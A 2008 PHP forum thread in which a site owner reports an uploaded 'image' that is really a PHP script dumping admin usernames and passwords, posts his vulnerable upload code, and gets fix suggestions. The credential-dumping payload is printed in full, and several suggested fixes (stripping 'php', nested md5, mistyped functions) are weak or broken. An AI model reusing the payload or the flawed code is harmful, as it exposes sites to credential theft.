Please help. Hacker alert. They are executing PHP with images

Discussion in 'PHP' started by x0x, Aug 17, 2008.

  1. #1
    Hi. On my website people can upload little images, I found a file named file.php.gif23542342 (my page puts the number behind it)

    When I opened it I saw this inside:

    <?
    
    include("../../../funcs.php");
    
    
    $getadmin = mysql_query("SELECT username,password FROM $tab[user] WHERE status='admin' 
    
    ORDER BY id ASC;");
    while ($admin = mysql_fetch_array($getadmin)){?>
    
    
    <?=$admin[0]?>  -  <?=$admin[1]?> <br><br>
    
    
    
    <?}?>
    PHP:
    I opened it and it brought a 500 server error. But on my local offline server I tested it the same way and it freaking printed the admin accounts!!
    Is there anything I can do?



    Here is the icon upload code (cut it from the file)


    
    if ($fileupload)
    {
    		$uploadpath=$dir."/";
    		$source=$_FILES[fileupload][tmp_name];
    		$fileupload_name=$_FILES[fileupload][name];
    		$weight=$_FILES[fileupload][size];
    
            $imagehw = GetImageSize($fileupload);
            $imagewidth = $imagehw[0];
            $imageheight = $imagehw[1];
        
            if ($crew[1] != $pimp[1] && ($pimp['status'] != admin)) { $message='you are not the founder of this Family.'; }
        	elseif ($imagewidth >= 33){$message="image width too big ($imagewidth pixels)";}
    
    elseif ($imageheight >= 33){$message="image height too big ($imageheight pixels)";}
    
    else{
    		for($i=0;$i<count($arr_allow_ex);$i++)
    		{
    			if(getlast($fileupload_name)!=$arr_allow_ex[$i])
    				$test.="~~";
    		}
    		$exp=explode("~~",$test);
    
                if(strstr($fileupload_name, " ")) {$message='you cannot have spaces in file name.';}
    			elseif(count($exp)==(count($arr_allow_ex)+1)){$message='Invalid image type.';}
    
    			elseif($weight>$wei_fileupload){$message="File is to large (".$wei_fileupload." bytes)";}
    
            	else{
                	$fileupload_name="$fileupload_name$time";
    		    	$dest = ''; 
    
    		    if ( ($source != 'none') && ($source != '' ))
    		    {
    		    	$dest=$uploadpath.$fileupload_name;
    		    	if ($dest != '')
    		    {
                	$source = str_replace("//", "/", $source);
    				$dest = str_replace("//", "/", $dest);
    			//	echo ("<br>source: " . $source . "<br>destination: " . $dest . "<br>");
    	        	if (copy($source,$dest))
    			   {
                   		$exfile=explode(".",$fileupload_name);
    			   		$message="icon has been set successfully!";
                   		mysql_query("UPDATE $tab[crew] SET icon='$dir$fileupload_name' WHERE id='$cid'");
    			   }
                }
             }
          }
       }
    }
    
    
    PHP:

    This is messed up :(


    Edit: I think I figured it out, they won't work unless they have ".php" inside. Are there any other extensions that I should filter out?
     
    x0x, Aug 17, 2008 IP
  2. Jezz

    Jezz Active Member

    Messages:
    208
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    60
    #2
    I'm curious to see what people think about this!

    While it's certainly cause for concern, I think that because the file is named
    "file.php.gif23542342" and not "file.php", the server will not parse it as a php file?

    Although... you did say you managed to crash the server??
     
    Jezz, Aug 17, 2008 IP
  3. imphpguru

    imphpguru Active Member

    Messages:
    439
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    55
    #3
    I have the same thought. It would definitely not parse it as a php file. I will read through the entire script and get back to you
     
    imphpguru, Aug 17, 2008 IP
  4. x0x

    x0x Well-Known Member

    Messages:
    510
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    110
    #4
    they uploaded it as file.php.gif, my file renames it so there won't be conflicts with same names...
    When I opened file.php.gif23542342 it functioned like a normal php page! That's freaky! But I don't think they got anything because somehow when i open that file I get 500 server error (it's only when i open that file). The server does not crash. But it worked on my offline server....
     
    x0x, Aug 17, 2008 IP
  5. Jezz

    Jezz Active Member

    Messages:
    208
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    60
    #5
    Hmm... I just did a little echo "hello" test with a file named "file.php.gif23542342" on my local server and it did parse it!
    if I change it to "file.php.gif" it doesn't parse though.

    This was using xampp, I'm sure production servers would be configured a little differently.

    As a precaution i think i'd be making sure that no php extensions can be uploaded, and backing up my db's pronto!
    (maybe changing some passwords also)
     
    Jezz, Aug 17, 2008 IP
  6. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #6
    Save your passwords hashed.
    getimagesize() returns the MIME type of the image. Make sure it's the correct MIME type.
    Why are you using these weird extensions anyway, rather than keeping the original extension? (If it's an image extension)
     
    nico_swd, Aug 17, 2008 IP
  7. x0x

    x0x Well-Known Member

    Messages:
    510
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    110
    #7
    I'm not a real coder... I added
    if(strstr($fileupload_name, ".php")) {$message='Not an image';}
    PHP:
    so it won't allow them upload any .php.gif files...What else should I do?
     
    x0x, Aug 17, 2008 IP
  8. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #8
    file.PHP would still be accepted...

    What I said above.

    
    if (!in_array($imagehw[2], array(IMAGETYPE_JPEG, IMAGETYPE_GIF, IMAGETYPE_PNG, IMAGETYPE_ICO)))
    {
        // Not an image
    }
    
    PHP:
    
    $pathinfo = pathinfo($fileupload_name);
    if (empty($pathinfo['extension']) OR !in_array(strtolower($pathinfo['extension']), array('jpg', 'jpeg', 'gif', 'png')))
    {
        // Invalid extension
    }
    
    PHP:
    And use move_uploaded_file() instead of copy().

    www.php.net/move_uploaded_file
    www.php.net/getimagesize
     
    nico_swd, Aug 17, 2008 IP
  9. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #9
    Additionally you can upload the files to a folder outside the public_html root, and then display the images using a PHP script similar to:
    
    $file = '/path/to/image.jpg';
    header('Content-Type: image/jpeg');
    readfile($file);
    
    PHP:
     
    nico_swd, Aug 17, 2008 IP
  10. nice.wallpapers

    nice.wallpapers Active Member

    Messages:
    142
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    60
    #10
    Hi ,

    You can easily kick them:) .... just write an php function from which just check image header before uploading that on server.

    Thanks :)
     
    nice.wallpapers, Aug 17, 2008 IP
  11. php-lover

    php-lover Active Member

    Messages:
    261
    Likes Received:
    21
    Best Answers:
    0
    Trophy Points:
    58
    #11
    I recommend you to rename every upload file.

    Write a script that generate a random name and use that name to rename the upload file.

    Example

    file.php.gif23542342 //<---upload image old name

    12342r4s.gif //<---- new name
     
    php-lover, Aug 17, 2008 IP
  12. guzz

    guzz Guest

    Messages:
    25
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    i think php-lover said easy way. try it.
    or you may use verot's image/upload class
     
    guzz, Aug 17, 2008 IP
  13. Jezz

    Jezz Active Member

    Messages:
    208
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    60
    #13
    php-lovers renaming method is the way to go for sure,
    But nico_swd has offered the solution for this (he's even coded it for you)
    My Advice would be to listen to the ZCE ;)
     
    Jezz, Aug 17, 2008 IP
  14. Barti1987

    Barti1987 Well-Known Member

    Messages:
    2,703
    Likes Received:
    115
    Best Answers:
    0
    Trophy Points:
    185
    #14
    The best solution is to rename the file to a non-extension file, this way it will not be processed by ANY browser/system as PHP.

    When you dispatch the file, you then associate the name with it as you output the content of that file.

    Peace,
     
    Barti1987, Aug 17, 2008 IP
  15. Curtis Hunter

    Curtis Hunter Well-Known Member

    Messages:
    195
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    110
    #15
    My upload script replaces ".php" and "php" with "".
    Done and done.
     
    Curtis Hunter, Aug 17, 2008 IP
  16. php-lover

    php-lover Active Member

    Messages:
    261
    Likes Received:
    21
    Best Answers:
    0
    Trophy Points:
    58
    #16
    Also use getimagesize() to validate the upload image file.

    example:


    if(!getimagesize($uploadfile)){
    
    //This is not a valid image file
    //return error message
    
    }
    PHP:
     
    php-lover, Aug 17, 2008 IP
  17. EricBruggema

    EricBruggema Well-Known Member

    Messages:
    1,740
    Likes Received:
    28
    Best Answers:
    13
    Trophy Points:
    175
    #17
    you need to check your upload on a couple ways.

    1. use getimagesize
    2. change the extension to .gif, .jpg, .png
    3 don't do readfile, but fpasstru or better, header, so the scripts stops and displays the image..

    :) have fun!
     
    EricBruggema, Aug 18, 2008 IP
  18. Vooler

    Vooler Well-Known Member

    Messages:
    1,146
    Likes Received:
    64
    Best Answers:
    4
    Trophy Points:
    150
    #18
    Almost same problem with imagehost script Scripteen or something like that, allowed php files.
    I fixed it and always request programmers to check whether it is require type of file or not before moving it to uploads folder.

    to check if it is image or not (before moving to uploads folder)
    $data = file_get_contents($_FILES['fileupload']['tmp_name']);
    $img = imagecreatefromtring($data);
    if(!$img) {
        #it is definitely not image file
    } else {
        #uplaod here
    }
    Code (markup):

    The second important thing is even image files can have extra data on end of stream, which must be truncated before saving to your folder (DO NOT USE move_uploaded_file see this http://www.apitalk.com/document.php?id=1184208075_5):

    e.g. wrting as per mime

    
    if(eregi('image/jpeg')) 
         imagejpeg($img,"upload_path/newfile_name.jpg",100);
    else
    if(eregi('image/png')) 
         imagepng($img,"upload_path/newfile_name.jpg");
    else etc.....
    
    Code (markup):
    regards
     
    Vooler, Aug 18, 2008 IP
  19. MaxSky

    MaxSky Active Member

    Messages:
    47
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    91
    #19
    i think this is the easist way to use getimagesize() for stop the attacks like this and keep hashed passwords at your db , otherway your passwords will be stolen , like that way or another..
     
    MaxSky, Aug 18, 2008 IP
  20. Dreads

    Dreads Well-Known Member

    Messages:
    1,884
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    150
    #20
    MaxSky is right , hash the living $@(% out of them, i advise

    md5$($md5($md5($password.$salt)).$md5($salt.$salt.$password))
    That something that be hard to crack 0o
    but seriously a
    $md5($passwod.$salt) does thre trick
     
    Dreads, Aug 18, 2008 IP